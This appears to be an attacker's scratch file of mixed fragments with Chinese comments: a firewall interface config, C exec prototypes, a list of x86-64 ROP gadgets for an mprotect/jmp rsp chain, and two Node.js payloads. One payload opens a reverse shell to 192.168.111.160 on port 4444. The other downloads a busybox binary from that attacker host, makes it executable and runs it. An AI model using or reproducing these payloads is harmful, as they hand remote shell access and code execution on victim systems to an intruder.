config system interface

edit port1

set mode static

set ip 192.168.111.98 255.255.255.0

set allowaccess http https ping ssh telnet

end

config router static

edit 1

set device port1

set gateway 192.168.111.2

end

#include <unistd.h>

int execl(const char *path, const char *arg, ...);

int execlp(const char *file, const char *arg, ...);

int execle(const char *path, const char *arg, ..., char *const envp[]);

int execv(const char *path, char *const argv[]);

int execvp(const char *file, char *const argv[]);

int execve(const char *path, char *const argv[], char *const envp[]);

#0x000000000257008a push rdx,pop rdi.ret

#0x0000000000530c8e : pop rsi ; ret

#0x000000000046bb27 : pop rax ; ret

#0x000000000060e7e9 : pop rax ; pop rsi ; ret 绕过最开始那个1无法写入的限制

#0x000000000043F3D0 call mprotect

#0x0000000000509372 : pop rdx ; ret

#0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret

#0x00000000005dc96d jmp rsp

const net = require('net');

const cp = require('child_process');

const busyboxPath = '/tmp/busybox';

const cmds = ['sh', 'ls', 'cat', 'wget', 'ps', 'netstat']; // 需要软链的命令列表

function setupBusyboxLinks() {

const { execSync } = cp;

try {

cmds.forEach(cmd => {

// 注意：所有命令都用 /tmp/busybox 调用

execSync(`${busyboxPath} ln -sf busybox ${cmd}`, { cwd: '/tmp' });

});

} catch (e) {

// 失败忽略

}

}

setupBusyboxLinks();

const client = new net.Socket();

client.connect(4444, '192.168.111.160', () => {

const sh = cp.spawn(busyboxPath, ['sh'], {

env: Object.assign({}, process.env, {

PATH: `/tmp:${process.env.PATH || ''}`

})

});

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

sh.on('exit', () => {

client.end();

});

});

client.on('error', () => {

client.end();

});

const http = require('http');

const fs = require('fs');

const { exec } = require('child_process');

// 指定攻击机的 IP 地址和路径

const url = 'http://192.168.111.160/busybox';

const outputPath = '/tmp/busybox'; // 文件保存路径

http.get(url, (response) => {

const fileStream = fs.createWriteStream(outputPath);

response.pipe(fileStream);

fileStream.on('finish', () => {

console.log('下载成功！');

// 设置执行权限，确保文件可执行

fs.chmod(outputPath, 0o755, (err) => {

if (err) {

console.log('赋权失败:', err);

return;

}

console.log('文件权限已更新，允许执行！');

// 通过 busybox 执行反弹 shell 或其他操作

exec(`/tmp/busybox`, (err, stdout, stderr) => {

if (err) {

console.error('执行失败:', stderr);

return;

}

console.log('执行输出:', stdout);

});

});

});

}).on('error', (err) => {

console.log('下载失败:', err);

});